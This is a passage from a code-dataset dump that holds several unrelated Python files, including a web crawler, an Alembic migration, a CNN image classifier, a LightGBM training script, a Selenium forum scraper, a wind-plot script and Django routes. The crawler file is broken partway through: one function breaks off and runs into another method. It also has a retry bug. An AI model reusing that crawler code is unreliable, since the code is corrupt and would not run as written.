PA, 19123',\n x=-75.158303781, y=39.959040684)] # about 40m away\n candidates_exp = [candidates_in[0]] # should just keep the first one.\n candidates_out = SnapPoints(distance=50).process(candidates_in)\n self.assertEqual_(candidates_out, candidates_exp)\n \n\nif __name__ == '__main__':\n logging.basicConfig(stream=sys.stdout)\n logging.getLogger(__name__).setLevel(logging.DEBUG)\n unittest.main()\n","sub_path":"omgeo/tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":20661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"332532173","text":"\"\"\"\n\n\"\"\"\n# - * - coding: UTF-8 - * -\nfrom threading import Thread\nfrom time import sleep\nfrom bs4 import BeautifulSoup as b\nfrom Crawel.scrapper import scrapper, updater_scrapper\nfrom Crawel.crawl_db import add_crawl_link, create_crawl_table, change_crawl_time, get_paused_pages, remove_crawl_link\nfrom Crawel.scrapper_db import create_search_table\nimport requests\n\ndef get_response(link, fail_number=0):\n \"\"\"\n | this function gets a link and try sto get the response object (max 100 times).\n | You should not place fail_number parameter.\n :param link: str\n :param fail_number: int\n :return: response object|bool\n \"\"\"\n try:\n return requests.get(link, timeout=10)\n except Exception:\n sleep(0.5)\n if fail_number == 5:\n return False\n get_response(link, fail_number + 1)\n\n\nclass ScrapperCrawl(Thread):\n \"\"\"\n | This class inherited from Thread Class.Instances of this class get url, Crawl._urls_list and Crawl._threads_list\n | and then tries to scrapping the url content and store it's unique urls to the crawl table.\n | This function automatically correct links and removes incorrect links.\n | If link scrapped in past, thread will die.\n | List of methods:\n 1.denied_link\n 2.self_remover\n 3.run (overridden from Thread class)\n \"\"\"\n def __init__(self, url, urls_list, threads_list):\n super().__init__()\n self.url = url\n self.urls_list = urls_list\n self.threads_list = threads_list\n # list of urls those must remove\n self.remove_list = [\"facebook.com\", \"google.com\", \"twitter.com\", \"payvand.com\", 'internet.ir', 'cnn.com']\n self.remove_list += [\"bbc.co.uk\", \"bbc.com\", 'youtube.com', 'freenode.net', 'irchelp.org', 'amazon.com']\n self.remove_list += ['eztrip.com', \"HomeGain.com\", \"cybertrails.com\", \"unixpackages.com\", \"webcitation\"]\n self.remove_list += ['inserthtml.com', 'keywordblocks.com', 'ojuba.org', 'kutub.info', 'itwadi.com']\n self.remove_list += ['tamrhendy.com', 'offers-world.com', 'itwadi.com', 'vip4soft.com', 'kora365.com']\n self.remove_list += ['balaash.net', 'deal.com', 'android4ar.com', '3orod.com', 'images-love.com']\n self.remove_list += ['doubleclick.net', 'albasoul.com', 'forumishqiptar.com', 'digg.com', 'stumbleupon.com']\n self.remove_list += ['omniglot.com', 'single-serving']\n # link of extends that should remove\n self.remove_extends = ['jpg', 'jpeg', 'gif', 'png', 'swf', 'mp3', 'mp4', 'mwv', 'pdf', 'exe']\n self.remove_extends += ['whl', 'zip', 'rar', 'gzip', 'avi', 'ico', 'tgz', 'xz', 'tar.xz', 'pkg']\n self.remove_extends += [\"bz2\", 'asc', 'chm', 'dmg', 'msi', 'ps', 'cmake', 'install', 'in']\n self.remove_extends += ['example', 'c', 'cpp', 'py', 'js', 'bat', 'h', 'lbc', 'hvc', 'sy', 'plan9']\n self.remove_extends += [\"svg\", 'md5', 'tar.gz.mf5', 'gz', 'tar.gz', 'sh', 'chm']\n\n def denied_link(self, link=\"\"):\n \"\"\"\n | This function checks if a link is denied returns True, else returns False.\n | If link parameter doesn't enter, thread's url attribute will check.\n | This function checks urls linked to files and denied urls.\n | If link is a denied link, returns True, else returns False.\n :param link:str\n :return:bool\n \"\"\"\n try:\n if not link:\n link = self.url\n if len(link.split(\".\")) > 1 and link.split(\".\")[-1] in self.remove_extends:\n return True\n link_part = link.split(\"/\")[2]\n for bad_link in self.remove_list:\n if bad_link in link_part:\n return True\n if \"stackoverflow.com\" in link and \"python\" not in link.lower():\n return True\n elif \"github.com\" in link and (\"python\" not in link.lower() and \"py\" not in link.lower()):\n return True\n elif \"gamasutra.com\" in link and \"python\" not in link.lower():\n return True\n elif \"wikipedia.org\" in link and \"python\" not in link.lower():\n return True\n elif \"nokia.com\" in link and \"python\" not in link.lower():\n return True\n elif \"maemo.org\" in link and (\"python\" not in link.lower() or \"py\" not in link.lower()):\n return True\n elif \"yellowblue.free.fr\" in link and \"python\" not in link.lower():\n return True\n elif \"wikiversity.org\" in link and \"python\" not in link.lower():\n return True\n elif \"wikibooks.org\" in link and \"python\" not in link.lower():\n return True\n elif \"bebits.com\" in link and \"python\" not in link.lower():\n return True\n elif \"amazon\" in link and \"python\" not in link.lower():\n return True\n elif \"uservoice.com\" in link and \"python\" not in link.lower():\n return True\n elif \"stackexchange.com\" in link and \"python\" not in link.lower():\n return True\n elif \"icio.us\" in link and \"python\" not in link.lower():\n return True\n elif \"wikidata.org\" in link and \"python\" not in link.lower():\n return True\n elif \"wikimediafoundation.org\" in link and \"python\" not in link.lower():\n return True\n elif \"mediawiki.org\" in link and \"python\" not in link.lower():\n return True\n except IndexError:\n # If url is not complete , this exception will occur.\n for bad_link in self.remove_list:\n if bad_link in link:\n return True\n return False\n\n def self_remover(self):\n \"\"\"\n | This function removes this thread and it's url from threads list and urls list.\n :return:void\n \"\"\"\n if self.url in self.urls_list:\n self.urls_list.remove(self.url)\n if self in self.threads_list:\n self.threads_list.remove(self)\n\n def link_corrector(self, link):\n \"\"\"\n | This function tries to correct incorrect urls and removes unreal urls.\n | If link is not a real url, this function returns False.Else returns corrected url as a string.\n :param link: str\n :return: bool|str\n \"\"\"\n try:\n link = link[\"href\"]\n except Exception:\n link = str(link)\n except RecursionError:\n self.self_remover()\n return False\n if not link or \"= 10:\n return True\n return False\n\n @staticmethod\n def bad_threads():\n \"\"\"\n | This static method returns bad threads list\n :return: list\n \"\"\"\n return Crawl._bad_threads\n\n @staticmethod\n def add_bad_thread(thread):\n \"\"\"\n | This function adds thread to the bad threads list\n :param thread: ScrapperCrawl object\n :return: void\n \"\"\"\n Crawl._bad_threads.append(thread)\n\n @staticmethod\n def remove_bad_thread(thread):\n \"\"\"\n | This static method removes thread from bad threads list\n :param thread:ScrapperCrawl object\n :return:void\n \"\"\"\n if thread in Crawl.bad_threads():\n Crawl.bad_threads().remove(thread)\n\n @staticmethod\n def urls_list():\n \"\"\"\n | This function returns class urls list\n :return:void\n \"\"\"\n return Crawl._urls_list\n\n @staticmethod\n def add_url(url):\n \"\"\"\n | This function adds url to the class urls list\n :param url: str\n :return: void\n \"\"\"\n Crawl.urls_list().append(url)\n\n @staticmethod\n def remove_url(url):\n \"\"\"\n | This function removes url from the class urls list\n :param url: str\n :return: void\n \"\"\"\n if url in Crawl.urls_list():\n Crawl.urls_list().remove(url)\n\n @staticmethod\n def remove_url_with_index(index):\n \"\"\"\n | This function removes from class urls list with index number\n :param index:int\n :return: void\n \"\"\"\n Crawl.urls_list().pop(index)\n\n @staticmethod\n def update(url):\n Crawl.add_url(url)\n while len(Crawl.urls_list()):\n while Crawl.wait():\n sleep(0.5)\n continue\n for index in range(10):\n try:\n for thread in Crawl.threads():\n if thread.url == Crawl.urls_list()[index]:\n Crawl.remove_url_with_index(index)\n continue\n new_thread = UpdaterScrapperCrawl(Crawl.urls_list()[index], Crawl.urls_list(), Crawl.threads())\n Crawl.add_thread(new_thread)\n except IndexError:\n continue\n for thread in Crawl.threads():\n if not thread.isAlive():\n try:\n thread.start()\n except RuntimeError:\n pass\n\n for thread in Crawl.bad_threads():\n if thread.isAlive():\n continue\n try:\n thread.start()\n except RuntimeError:\n Crawl.remove_bad_thread(thread)\n Crawl.remove_bad_thread(thread)\n\n for thread in Crawl._threads:\n try:\n thread.join()\n except RuntimeError:\n Crawl.add_bad_thread(thread)\n\n def __init__(self, url):\n self.url = url\n if self.url not in Crawl._urls_list:\n Crawl.urls_list().append(self.url)\n self.run()\n\n def run(self):\n while len(Crawl._urls_list):\n while Crawl.wait():\n sleep(0.5)\n continue\n for index in range(10):\n try:\n for thread in Crawl.threads():\n if thread.url == Crawl.urls_list()[index]:\n Crawl.remove_url_with_index(index)\n continue\n new_thread = ScrapperCrawl(Crawl.urls_list()[index], Crawl.urls_list(), Crawl.threads())\n Crawl.add_thread(new_thread)\n except IndexError:\n continue\n for thread in Crawl.threads():\n if not thread.isAlive():\n try:\n thread.start()\n except RuntimeError:\n pass\n\n for thread in Crawl.bad_threads():\n if thread.isAlive():\n continue\n try:\n thread.start()\n except RuntimeError:\n Crawl.remove_bad_thread(thread)\n Crawl.remove_bad_thread(thread)\n\n for thread in Crawl._threads:\n try:\n thread.join()\n except RuntimeError:\n Crawl.add_bad_thread(thread)\n\n\ncreate_search_table()\ncreate_crawl_table()\n# Crawl.urls_list()\n# http://pythoncentral.io\n# cr = Crawl('http://www.tutorialspoint.com/python/')\n# Crawl.resume_from_db()\n# s = get_paused_pages()\n\n","sub_path":"Crawel/crawel.py","file_name":"crawel.py","file_ext":"py","file_size_in_byte":20232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"28599891","text":"\"\"\"empty message\n\nRevision ID: 64f00afe5a91\nRevises: \nCreate Date: 2020-08-19 10:37:18.244724\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '64f00afe5a91'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('roles',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=80), nullable=True),\n sa.Column('description', sa.String(length=255), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('name')\n )\n op.create_table('users',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('nome', sa.String(length=256), nullable=False),\n sa.Column('cognome', sa.String(length=256), nullable=False),\n sa.Column('email', sa.String(length=256), nullable=False),\n sa.Column('username', sa.String(length=256), nullable=False),\n sa.Column('password', sa.String(length=256), nullable=False),\n sa.Column('active', sa.Boolean(), nullable=True),\n sa.Column('confirmed_at', sa.DateTime(), nullable=True),\n sa.Column('citta', sa.String(length=256), nullable=True),\n sa.Column('telefono', sa.String(length=256), nullable=True),\n sa.Column('url_image', sa.String(length=256), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('email'),\n sa.UniqueConstraint('username')\n )\n op.create_table('events',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=255), nullable=False),\n sa.Column('date', sa.DateTime(), nullable=False),\n sa.Column('numbersplayer', sa.Integer(), nullable=False),\n sa.Column('price', sa.Float(), nullable=False),\n sa.Column('sport', sa.String(length=255), nullable=False),\n sa.Column('latitudine', sa.String(length=255), nullable=True),\n sa.Column('longitudine', sa.String(length=255), nullable=True),\n sa.Column('id_proprietario', sa.Integer(), nullable=True),\n sa.Column('date_created', sa.DateTime(), nullable=True),\n sa.Column('date_modified', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['id_proprietario'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('roles_users',\n sa.Column('users_id', sa.Integer(), nullable=True),\n sa.Column('roles_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['roles_id'], ['roles.id'], ),\n sa.ForeignKeyConstraint(['users_id'], ['users.id'], )\n )\n op.create_table('partecipa',\n sa.Column('user_id', sa.Integer(), nullable=False),\n sa.Column('event_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['event_id'], ['events.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('user_id', 'event_id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('partecipa')\n op.drop_table('roles_users')\n op.drop_table('events')\n op.drop_table('users')\n op.drop_table('roles')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/64f00afe5a91_.py","file_name":"64f00afe5a91_.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"374814762","text":"import cv2 \nimport numpy as np \nimport os \nfrom random import shuffle \n\n# The path to where the images used to train the program are stored \nTRAIN_DIR =\"C:/Users/zakry/Downloads/train/train\"\n# Path of where the images used to test are stored \nTEST_DIR = \"C:/Users/zakry/Downloads/test/test\"\n\nIMG_SIZE = 50 \nLR = 1e-3\n\nMODEL_NAME = 'dogsvscats-{}-{}.model'.format(LR, '6conv-basic')\n\ndef label_img(img): \n ''' Function to give labels to cat and dog that the computer can easily recognise later on.'''\n word_label = img.split('.')[-3] \n if word_label == 'cat': return [1,0]\n elif word_label == 'dog' : return [0,1]\n \n \n \ndef create_train_data(): \n '''Using the file that has the training images, this adds it all in an array so that it is easier to use.'''\n training_data = [] \n for img in os.listdir(TRAIN_DIR): \n label = label_img(img)\n path = os.path.join(TRAIN_DIR, img)\n img = cv2.resize(cv2.imread(path, cv2.IMREAD_GRAYSCALE), (IMG_SIZE, IMG_SIZE))\n training_data.append([np.array(img), np.array(label)])\n shuffle(training_data)\n np.save('train_data.npy', training_data)\n return training_data \n\n\ndef process_test_data(): \n '''And now using the test images and storing them in a formal manner in an array'''\n testing_data = []\n for img in os.listdir(TEST_DIR): \n path = os.path.join(TEST_DIR, img)\n img_num = img.split('.')[0]\n img = cv2.resize(cv2.imread(path, cv2.IMREAD_GRAYSCALE), (IMG_SIZE, IMG_SIZE))\n testing_data.append([np.array(img), img_num])\n \n np.save('test_data.npy', testing_data) \n return testing_data \n\n# Creating the training data and assigning it to train_data\ntrain_data = create_train_data() \n\n\n\nimport tflearn\nfrom tflearn.layers.conv import conv_2d, max_pool_2d\nfrom tflearn.layers.core import input_data, dropout, fully_connected\nfrom tflearn.layers.estimator import regression\n\nimport tensorflow as tf \ntf.reset_default_graph()\n\nconvnet = input_data(shape=[None, IMG_SIZE, IMG_SIZE, 1], name='input')\n\nconvnet = conv_2d(convnet, 32, 2, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\nconvnet = conv_2d(convnet, 64, 2, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\nconvnet = conv_2d(convnet, 32, 2, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\nconvnet = conv_2d(convnet, 64, 2, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\nconvnet = conv_2d(convnet, 32, 2, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\nconvnet = conv_2d(convnet, 64, 2, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\nconvnet = fully_connected(convnet, 1024, activation='relu')\nconvnet = dropout(convnet, 0.8)\n\nconvnet = fully_connected(convnet, 2, activation='softmax')\nconvnet = regression(convnet, optimizer='adam', learning_rate=LR, loss='categorical_crossentropy', name='targets')\n\nmodel = tflearn.DNN(convnet, tensorboard_dir='log')\n\ntrain = train_data[:-500]\ntest = train_data[-500:]\n\nX = np.array([i[0] for i in train]).reshape(-1, IMG_SIZE, IMG_SIZE,1)\nY = [i[1] for i in train]\n\ntest_x = np.array([i[0] for i in test]).reshape(-1, IMG_SIZE, IMG_SIZE,1)\ntest_y = [i[1] for i in test]\n\nmodel.fit({'input': X}, {'targets': Y}, n_epoch=5, validation_set=({'input': test_x}, {'targets': test_y}), \n snapshot_step=500, show_metric=True, run_id=MODEL_NAME)\n\n\nmodel.save(MODEL_NAME)\n\n\nimport matplotlib.pyplot as plt\n\ntest_data = process_test_data() \n#if already have test_data() \n# test_data = np.load('test_data.npy')\n\n\nfig = plt.figure() \n\nfor num, data in enumerate(test_data[:12]): \n img_num = data[1] \n img_data = data[0]\n \n y = fig.add_subplot(3,4,num+1)\n orig = img_data \n data = img_data.reshape(IMG_SIZE, IMG_SIZE, 1)\n \n model_out = model.predict([data])[0]\n \n if np.argmax(model_out) == 1: str_label = 'Dog'\n else: str_label = 'Cat'\n \n y.imshow(orig, cmap='gray')\n \n plt.title(str_label)\n y.axes.get_xaxis().set_visible(False)\n y.axes.get_yaxis().set_visible(False)\n \nplt.show() \n","sub_path":"cat-vs-dogs/cat_vs_dogs.py","file_name":"cat_vs_dogs.py","file_ext":"py","file_size_in_byte":4011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"330377434","text":"from dh_libs import *\n\n# 文件参数\ntrain_gps_path = './data/train0523.csv'\ntest_data_path = './data/A_testData0531.csv'\norder_data_path = './data/loadingOrderEvent.csv'\nport_data_path = './data/port.csv'\n# LGB参数\nparams = {\n 'learning_rate': 0.01,\n 'boosting_type': 'gbdt',\n 'objective': 'regression',\n 'num_leaves': 36,\n 'feature_fraction': 0.6,\n 'bagging_fraction': 0.7,\n 'bagging_freq': 6,\n 'seed': 8,\n 'bagging_seed': 1,\n 'feature_fraction_seed': 7,\n 'min_data_in_leaf': 20,\n 'nthread': 8,\n 'verbose': 1,\n}\nclf = None\nlabel = 'label'\nseed=1080 \nis_shuffle=True\n\n\n# 其他参数\nNDATA = 1000 # 一次读NDATA行\nThresold = 1*NDATA # 总共要读多少行\nVALIDDATA = 1000 # 数据量过少会有问题,经过测试10w好像还可以,保险起见用100w\nweight = float(NDATA)/Thresold\n\n\nif __name__ == \"__main__\":\n # client = Client(n_workers=8)\n # print(client)\n\n\n # baseline只用到gps定位数据,即train_gps_path\n test_data = pd.read_csv(test_data_path)\n test_data = get_data(test_data, mode='test') # 预处理测试数据\n test = get_feature(test_data, mode='test')\n test_pred = np.zeros((test.shape[0], ))\n\n\n reader = pd.read_csv(train_gps_path, iterator = True)\n # 读取一部分训练集作为测试集\n valid_data = reader.get_chunk(VALIDDATA)\n valid_data = set_data_columns(valid_data)\n valid_data = get_data(valid_data,mode='valid')\n valid = get_feature(valid_data,mode='valid')\n valid_pred = np.zeros((valid.shape[0], ))\n\n\n summ = 0\n while summ <= Thresold:\n summ += NDATA\n\n batch_data = reader.get_chunk(NDATA)\n batch_data = set_data_columns(batch_data)\n batch_data = get_data(batch_data, mode = 'train')\n batch_train = get_feature(batch_data, mode='train')\n\n features = [c for c in batch_train.columns if c not in ['loadingOrder', 'label', 'mmin', 'mmax', 'count']]\n pred = features\n\n train_pred = np.zeros((batch_train.shape[0], ))\n n_splits = 5\n # Kfold\n fold = KFold(n_splits=n_splits, shuffle=is_shuffle, random_state=seed)\n kf_way = fold.split(batch_train[pred])\n \n # train\n for n_fold, (train_idx, valid_idx) in enumerate(kf_way, start=1):\n train_x, train_y = batch_train[pred].iloc[train_idx], batch_train[label].iloc[train_idx]\n valid_x, valid_y = batch_train[pred].iloc[valid_idx], batch_train[label].iloc[valid_idx]\n # 数据加载\n n_train = lgb.Dataset(train_x, label=train_y)\n n_valid = lgb.Dataset(valid_x, label=valid_y)\n\n clf = lgb.train(\n params=params,\n train_set=n_train,\n num_boost_round=3000,\n valid_sets=[n_valid],\n early_stopping_rounds=100,\n verbose_eval=100,\n feval=mse_score_eval,\n init_model=clf,\n keep_training_booster = True,\n )\n \n test_pred += clf.predict(test[pred], num_iteration=clf.best_iteration)*weight/fold.n_splits\n valid_pred += clf.predict(valid[pred], num_iteration=clf.best_iteration)*weight/fold.n_splits\n\n\n\n test['label'] = test_pred\n result = test[['loadingOrder', 'label']]\n\n\n test_data = test_data.merge(result, on='loadingOrder', how='left')\n test_data['ETA'] = (test_data['onboardDate'] + test_data['label'].apply(lambda x:pd.Timedelta(seconds=x))).apply(lambda x:x.strftime('%Y/%m/%d %H:%M:%S'))\n test_data.drop(['direction','TRANSPORT_TRACE'],axis=1,inplace=True)\n test_data['onboardDate'] = test_data['onboardDate'].apply(lambda x:x.strftime('%Y/%m/%d %H:%M:%S'))\n test_data['creatDate'] = pd.datetime.now().strftime('%Y/%m/%d %H:%M:%S')\n test_data['timestamp'] = test_data['temp_timestamp']\n \n\n # 整理columns顺序\n result = test_data[['loadingOrder', 'timestamp', 'longitude', 'latitude', 'carrierName', 'vesselMMSI', 'onboardDate', 'ETA', 'creatDate']]\n result.to_csv('result.csv', index=False)\n # print(result)\n\n\n valid['pred_increase_ETA'] = valid_pred\n val = valid[['loadingOrder','pred_increase_ETA','label']]\n valid_data = valid_data.merge(val,on='loadingOrder', how='left')\n valid_data = valid_data[['loadingOrder','label','pred_increase_ETA']]\n valid_data.to_csv('valid.csv',index = False)\n \n mse = mean_squared_error(valid_data['label'],valid_data['pred_increase_ETA'])\n \n print(valid_data)\n print()\n print(\"valid_mse=\",mse/3600**2,\"h^2\")\n\n","sub_path":"机器学习导论/期末比赛ETA/baseline/dh/dh_baseline.py","file_name":"dh_baseline.py","file_ext":"py","file_size_in_byte":4545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"309205677","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 10 17:42:31 2018\n \n@author: gauthier\n\"\"\"\n \n\"https://bitcointalk.org/index.php?board=1.0\"\n \n \nimport os;\na=os.getcwd(); # Prints the working directory\nprint('Current working directory:',a)\n \n##Change working directory\n#os.chdir('c:\\\\Users\\uname\\desktop\\python') # Provide the path here\n#a=os.getcwd(); # Prints the working directory\n#print('Current working directory:',a)\n \n \n#%% Importing Libraries\nimport numpy as np\nimport selenium\nimport time\nimport csv\nimport math\nimport re\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.common.exceptions import NoSuchElementException, StaleElementReferenceException\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\nimport pandas as pd\n#import itertools\nfrom itertools import *\nimport time\n \n#%% \noptions = webdriver.ChromeOptions()\n#options.add_argument('headless')\n \n \ndriver = webdriver.Chrome('/Users/Gauthier/Documents/CoursENSAE/3A/MOOC/Applied_marchine_learning_in_python/chromedriver') #replace with .Firefox(), or with the browser of your choice\nurl = 'bitcointalk.org/index.php?topic=2851721.0;all'\nurl= 'bitcointalk.org/index.php?topic=454795.0;all'\n \ndriver.get(\"http://\"+url.rstrip())\n\n \n#%% \na=driver.find_elements_by_id(\"quickModForm\")\n \nb =driver.find_elements_by_id(\"quickModForm\")[0].find_elements_by_tag_name(\"tr\")\n \n#%% Identifying each post\nl=[]\n \nlen(b)\nfor i in b:\n l.append(i.get_attribute(\"class\") )\n \nclass_page = l[0]\n \n\nc = driver.find_elements_by_class_name(class_page)\n\n#%% Collecting post text\nc[0].find_element_by_class_name(\"post\").text\npost = []\n \nfor k in c :\n post.append(k.find_element_by_class_name(\"post\").text)\n \n#%% Collecting information about the member\nid = []\nstatus = []\nactivity = []\nmerit = []\ni=1\n\nfor k in c :\n # in case there is \"copper membership\", we have to shift\n shift=0\n print(i)\n info = k.find_element_by_class_name(\"poster_info\").text.splitlines()\n if info[2]!='':\n shift=1\n print('shift')\n print(info)\n id.append(info[0])\n status.append(info[1])\n activity.append(pd.to_numeric(re.findall(r'\\d+',info[5+shift])[0]))\n merit.append(pd.to_numeric(re.findall(r'\\d+',info[6+shift])[0]))\n i=i+1\n \n#%% Collecting information about the date\ndatetime = []\n\nfor k in c :\n datetime.append(pd.to_datetime(k.find_element_by_class_name(\"td_headerandpost\").find_element_by_class_name(\"smalltext\").text))\n\n#%% Puting everything together\ndf = pd.DataFrame(\n {#'datetime':datetime,\n 'id':id,\n 'status':status,\n 'activity':activity,\n 'merit':merit,\n 'post':post})\n \n#%% We exit the driver\ninfo[3]==''\n","sub_path":"forum_scraping(deprecated).py","file_name":"forum_scraping(deprecated).py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"100018677","text":"'''\r\n遇到的主要问题是:初次画风,资料的网格很细,风杆严重重叠\r\n python基本功不扎实,数据的切片不熟练 重点(slice函数)\r\n解决:参考网站:https://unidata.github.io/python-gallery/examples/500hPa_Absolute_Vorticity_winds.htm\r\n l#sphx-glr-examples-500hpa-absolute-vorticity-winds-py\r\n\r\n'''\r\n\r\nimport matplotlib.pyplot as plt\r\nimport xarray as xr\r\nfrom scipy.ndimage import gaussian_filter\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport numpy as np\r\nfrom matplotlib.patches import Polygon\r\nfrom metpy.units import units\r\nimport metpy.calc as mpcalc\r\n\r\n#解决出图中文和负号显示问题\r\nplt.rcParams['font.sans-serif'] = ['SimHei'] # 指定默认字体\r\nplt.rcParams['axes.unicode_minus'] = False # 解决保存图像是负号'-'显示为方块的问题\r\n#数据读取及简单处理\r\nfile1path=r\"2016.4month-20h.nc\"\r\nnc20=xr.open_dataset(file1path)\r\nz=nc20.z\r\nu=nc20.u\r\nv=nc20.v\r\nlat=nc20.latitude\r\nlon=nc20.longitude\r\nu_700=u.isel(time=12,level=1)\r\nv_700=v.isel(time=12,level=1)\r\nz_700=z.isel(time=12,level=1)\r\n#地图制作\r\nfig=plt.figure(dpi=220)\r\nax = plt.gca()\r\n# 左下角的经度和纬度llcrnrlon=80, llcrnrlat=0,\r\n# 右上角的经度和纬度urcrnrlon=140, urcrnrlat=51,\r\nm5=Basemap(llcrnrlon=95, llcrnrlat=25, urcrnrlon=110, urcrnrlat=35, projection='lcc', lat_1=33, lat_2=45, lon_0=104)\r\nm5.readshapefile(\"CHN_adm_shp//CHN_adm1\", 'china', drawbounds=True) #全国图显示省界\r\nm5.readshapefile(\"CHN_adm_shp//china-shapefiles-master//china_nine_dotted_line\", 'nine_dotted', drawbounds=True)\r\nm5.readshapefile(\"CHN_adm_shp//CHN_adm3\",\"states\", drawbounds=False) #全国图不显示地级市界(含地级市内容)\r\nlon,lat=np.meshgrid(lon,lat)\r\nx,y=m5(lon,lat)\r\nwind_slice = (slice(None, None, 1), slice(None, None, 1))\r\ncs=m5.barbs(x[wind_slice], y[wind_slice],u_700[wind_slice], v_700[wind_slice], color='black'\r\n ,barb_increments={'half':2,'full':4,'flag':20},length=5,alpha=0.8,zorder=5)\r\nm5.drawparallels(np.arange(25, 35., 3.), labels=[1,0,0,0], fontsize=6,linewidth=0.4,alpha=0.8) #坐标轴为经纬度\r\nm5.drawmeridians(np.arange(70., 140., 5.), labels=[0,0,0,1], fontsize=6,linewidth=0.4,alpha=0.8)\r\nplt.title(\"ECthin_700hPa_wind_2016.4.13-20\",fontsize=6)\r\nm5.drawcoastlines(linewidth=0.25)\r\nm5.drawcountries(linewidth=0.25)\r\n#绘制地级市\r\nfor info, shp in zip(m5.states_info, m5.states):\r\n dishi=info['NAME_2']\r\n if dishi=='Ziyang':\r\n proid = info['NAME_3'] # 打开CHN_adm12.csv文件,可以知道'NAME_1','NAME_2'代表的名称\r\n if proid == 'Lezhi':\r\n poly = Polygon(shp,facecolor='w',edgecolor='k', lw=0.4,alpha=1,zorder=4) # 绘制四川省县级市界(乐至)\r\n ax.add_patch(poly)\r\n if proid=='Anju':\r\n poly = Polygon(shp, facecolor='w',edgecolor='k',lw=0.4,alpha=1,zorder=4) # 绘制四川省县级市界(安岳)\r\n ax.add_patch(poly)\r\n if proid=='Ziyang':\r\n poly = Polygon(shp, facecolor='w',edgecolor='k',lw=0.4,alpha=1,zorder=4) # 绘制四川省县级市界(雁江)\r\n ax.add_patch(poly)\r\n if dishi=='Suining':\r\n poly = Polygon(shp, facecolor='w', edgecolor='k', lw=0.4, alpha=1, zorder=4) # 绘制四川省地级市界(遂宁)\r\n ax.add_patch(poly)\r\n if dishi=='Neijiang':\r\n poly = Polygon(shp, facecolor='w', edgecolor='k', lw=0.4, alpha=1, zorder=4) # 绘制四川省地级市界(内江)\r\n ax.add_patch(poly)\r\n zizhong=['NAME_4']\r\n if zizhong=='Zizhong':\r\n poly = Polygon(shp, facecolor='w', edgecolor='k', lw=0.4, alpha=1, zorder=4) # 绘制四川省县级市界(资中)\r\n ax.add_patch(poly)\r\n\r\n\r\n#标出宜宾点\r\nYiblon,Yiblat=np.meshgrid(104.64,28.75)\r\nyibx,yiby=m5(Yiblon,Yiblat)\r\nplt.scatter(yibx,yiby,s=1,c='g')\r\nplt.text(yibx,yiby,'宜宾',fontsize=5,verticalalignment=\"bottom\",horizontalalignment=\"right\",c='red')\r\nplt.savefig('photo//700hpa_4.13_20wind_new.png')\r\nplt.show()","sub_path":"700hPa_wind_2.py","file_name":"700hPa_wind_2.py","file_ext":"py","file_size_in_byte":4037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"471742996","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('area/', views.CreateAreaView.as_view(), name=\"area\"),\n path('area//update/', views.EditAreaView.as_view(), name=\"edit_area\"),\n\n path('category/', views.CreateCategoryView.as_view(), name=\"category\"),\n path('category//update/', views.EditCategoryView.as_view(), name=\"edit_category\"),\n\n path('asset/', views.CreateAssetView.as_view(), name=\"asset\"),\n path('asset//update/', views.EditAssetView.as_view(), name=\"edit_asset\"),\n\n path('provider/', views.CreateProviderView.as_view(), name=\"provider\"),\n path('provider//update/', views.EditProviderView.as_view(), name=\"edit_provider\"),\n]","sub_path":"applications/catalogs/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"237434462","text":"import datetime\nimport pytz\n\nfrom django.test import TestCase\nfrom django.core import mail\nfrom django.core.management import call_command\nfrom django.contrib.auth import get_user_model\nfrom django.utils import timezone\n\nfrom arrange_videochat.models import Event, MailTemplate\n\nUser = get_user_model()\n\n\nclass CheckSeminarsTestCase(TestCase):\n def setUp(self):\n # users\n self.host = 